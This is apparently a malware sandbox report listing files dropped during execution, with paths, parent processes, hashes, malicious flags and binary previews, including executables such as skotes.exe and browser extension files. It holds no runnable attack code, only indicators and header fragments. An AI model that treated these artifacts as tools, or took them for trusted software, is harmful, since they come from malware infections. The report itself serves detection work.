Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f............................. 2...........@..........................P2.......2...@.................................W...k.......H.....................2.............................0.2..................................................... . ............................@....rsrc...H...........................@....idata ............................@...bqlruwdx.`+......T+.................@...tmwrwawp......2.......1.............@....taggant.0... 2.."....1.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1938432
Entropy (8bit):	7.95033460705614
Encrypted:	false
SSDEEP:	49152:AHJ/HR69tKztupUL4o3VUJiAr8kZKfQBoypZmu8w2A:iJ/Hy3UkolfArDQfyoypX
MD5:	C3384CBCFD7F594F40FE489F5F67A36F
SHA1:	37F8F298E7EF281A821E38CC08ABB72D679C9B2D
SHA-256:	DBAA65C338340985131358F76F903A03045DA28AAAA6297F37BF8F5123DEFCF2
SHA-512:	E68FC70A6BD04045E13712F95BEE04070EEB2FC99CD02703EB15A583DFA49E0EE1E70A08B294072E0A6676CDAEB9E4DBD10FC06E6F3D8D7CF6DED951AFC215EA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....7g.................D............L...........@.......................... M...........@.................................\...p................................................................................................................... . .........x..................@....rsrc ............................@....idata ............................@... . ,.........................@...iqhxooog......1.....................@...drpvrehq......L......n..............@....taggant.0....L.."...r..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0558c450-b154-48fd-8680-85d4500801e6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41924
Category:	dropped
Size (bytes):	76314
Entropy (8bit):	7.996159328201069
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/CFZ2cHkObTysAGz88:GdS8scZNzFrMa4M+labb1TqeZ
MD5:	A4C1A16984D4A1F4D15F6A9075FE4ABD
SHA1:	15E87677062BF7F7B7E67381FC2E84D460F28F6F
SHA-256:	254A9865F8224E75BA2122569902D21BB2D612E501589842B35C334B8DA28187
SHA-512:	6BFDF4BEFE6BB68184683D7E90994848D262D7C18BB4D74BF024BF99035511A1F3564BE49E8E6DF934CC4E6F33216FA1A8B2E613B9F5900B51A8AB68B6C754FE
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1938432
Entropy (8bit):	7.95033460705614
Encrypted:	false
SSDEEP:	49152:AHJ/HR69tKztupUL4o3VUJiAr8kZKfQBoypZmu8w2A:iJ/Hy3UkolfArDQfyoypX
MD5:	C3384CBCFD7F594F40FE489F5F67A36F
SHA1:	37F8F298E7EF281A821E38CC08ABB72D679C9B2D
SHA-256:	DBAA65C338340985131358F76F903A03045DA28AAAA6297F37BF8F5123DEFCF2
SHA-512:	E68FC70A6BD04045E13712F95BEE04070EEB2FC99CD02703EB15A583DFA49E0EE1E70A08B294072E0A6676CDAEB9E4DBD10FC06E6F3D8D7CF6DED951AFC215EA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....7g.................D............L...........@.......................... M...........@.................................\...p................................................................................................................... . .........x..................@....rsrc ............................@....idata ............................@... . ,.........................@...iqhxooog......1.....................@...drpvrehq......L......n..............@....taggant.0....L.."...r..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1797120
Entropy (8bit):	7.944013756517232
Encrypted:	false
SSDEEP:	24576:+DP5f8UrgoaGkkttK9MrbW7tHkHJ7yq14qASOqu6Qi6mkDLLV4XA+eLQdc1mZ:yxz8yttKGfKEHJ7yq14lLDDDVL
MD5:	A088750A78A264D0204488FE6BEC85D6
SHA1:	D7CC85364E6481188DE1912EE35692F09A126F44
SHA-256:	D165A92F40ED9C2EC60C492AB46E9632E740D1AF310215A6B464F82DD8418E21
SHA-512:	D00D35FFF97F54D304A8F70B6916902987795124E7AEFF103C248C2F7663BD61F8D9ED4985CEAE8556CFF308494C2063235AFF7285F0892BEA12850E802CA4EA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g.....................$....... i...........@..........................Pi...........@.................................M.$.a.....$.......................$..................................................................................... . ..$......b..................@....rsrc.........$......r..............@....idata ......$......t..............@... ..*...$......v..............@...pptkhitg.....@O......x..............@...oviucogm......i......D..............@....taggant.0... i.."...J..............@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\43937429-d104-4b66-b1a1-ac34b85cdae7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\5750f7de-aa60-445a-976f-d3379c516760.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1516826
Entropy (8bit):	7.992047212440399
Encrypted:	true
SSDEEP:	24576:LCHUCt/GbbewofI6yxGx4aSfbIiIanKhmb36pi1FKg7uiHQhB3wea8qOgBFvsCfn:+HUCt/odofDyMQfbIxwKoN1FDKkQhB36
MD5:	7D2EDB17BFF475F54C6D1A33AC825FF0
SHA1:	CA7734BD9FC08D4A58C97128BBACFC842F7C013F
SHA-256:	73B1FF14CF40CE6483693F6F6C2359CD6F22B634FEAD4BCAE067274D6A1E50DB
SHA-512:	780F638764D2D84750A4FEE8958082E7515AF6CC74D2E57865D7BC2DCA2A972E2D06FAE9E6778933B324821F8B6F0F2F16155D4C5D79FA84485144FBDDE4B4B5
Malicious:	false
Preview:	.PNG........IHDR...2...2......?......gAMA......a.....pHYs...........k.....iTXtXML:com.adobe.xmp.....<?xpacket begin='.' id='W5M0MpCehiHzreSzNTczkc9d'?>..<x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"><rdf:Description rdf:about="uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b" xmlns:tiff="http://ns.adobe.com/tiff/1.0/"><tiff:Orientation>1</tiff:Orientation></rdf:Description></rdf:RDF></x:xmpmeta>..<?xpacket end='w'?>,.......IDAThC.Io#Iz.....L&W.Z(j.*U..l_.Kl.a``......0.1...G.?a.d.in...x..J..E...L.1.Lj+..U.....Tf,o..E\|oD......-.]S.-Tb.a..A...M.;..M.ea..!.X.n......?..<0....4IU.$......h..fh.8M. <..#f?../.J.U.(W.........aq?.....T.q....N4w.b.7?....84[{-v..R..... .Cd-Rw....o{.....K"q....!\^.v/..`........;;O..'..sA....`..D.V..". .......\.D...( .`>......N...e[L..O....=2.>}...}..P....#".....,...w.w.H>"A..>t.Q....O._....M.........R.5....oO........$.......^.gm..X6XV.<.}!H4.z.m...PJ}...F.XNM.P.i6+\|.U...8..B\|? .#.4}...#M

C:\Users\user\AppData\Local\Temp\80b7e24e-36d1-4708-b3d6-f227146288cb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsHDGCGHIJKE.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3281920
Entropy (8bit):	6.629890136086703
Encrypted:	false
SSDEEP:	49152:Aesu0P53wJn02fBEmwU0ZNW7NNKx3SVbt2/sZFLel:ou0R38npfBEX0t2EZF
MD5:	0491B56FD0D65497898F82CA52A7F2C8
SHA1:	7DB274D8822943774D09AEB93367A119E2FA4D82
SHA-256:	52F0F944EDCA5AC4CE7A27CE561277D28CF008874D4C701A0E79CCA534E8ED05
SHA-512:	ECFD958D922B58BF2BAA2887874FCDED9FAD9F41E6658B0B86EB05F374E77B5B56C569116285988E656ED31EE99F706E4E1E44ABDBAEAA42F7CAD278228AC075
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f............................. 2...........@..........................P2.......2...@.................................W...k.......H.....................2.............................0.2..................................................... . ............................@....rsrc...H...........................@....idata ............................@...bqlruwdx.`+......T+.................@...tmwrwawp......2.......1.............@....taggant.0... 2.."....1.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\b158776c-1c92-4418-8ba9-b81738427422.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\c8e768c4-be7d-4a6a-be1f-7a9ede715c5a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	5.417812079447716
Encrypted:	false
SSDEEP:	48:Y4MfJVe5wMd5wMe07cIF5Io0MY5kU2A0OpJ5xnL0MotJ5VovUx0YhP5jU0Vn5M:JIVuwEw5MUFZLBQLtdxpM
MD5:	DBC3D5B0BF4DD32DF46E5331E7F007DA
SHA1:	B0039BD00E5A5B050D41405175F9F0D0D0C59EE4
SHA-256:	85C29C5CB54B319DD205F1F09DAEA72D360C633BE9F8FA4A3BE94FAB33A21812
SHA-512:	0218A05A056335E1350FED49685FAE9A3CD8EB2D4F2F25BA90D3FFDE8637996DEE7C836B6E8739CB3EF1CE4EC818C6547281F664D9A1421405D27CA9EDACAFA7
Malicious:	false
Preview:	{"logTime": "1005/061810", "correlationVector":"0kV+/vRB8ay0a3Cue7mk6o","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"AFo3IfjRT+3l4ojiXpMdNH","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"838E3BF9A44F456CB4AD62AC737EDD15","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063233", "correlationVector":"2N8fwTcZh6EtTfQ8o4+6aX","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063233", "correlationVector":"5ADEBA42608E4CC9A1FACA719F284CF9","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063346", "correlationVector":"xp/hBMCdVPtUIxZHIviv/x","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063347", "correlationVector":"BF0B9E58C0CC45ED9AB5D0371131E69A","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/064305", "correlationVector":"ONVjsWDap1LyjIRdxsqPGs","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/064305", "correlationVector":"82E52491

C:\Users\user\AppData\Local\Temp\d0763f0c-7672-495b-ba2f-522e85c6a92f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
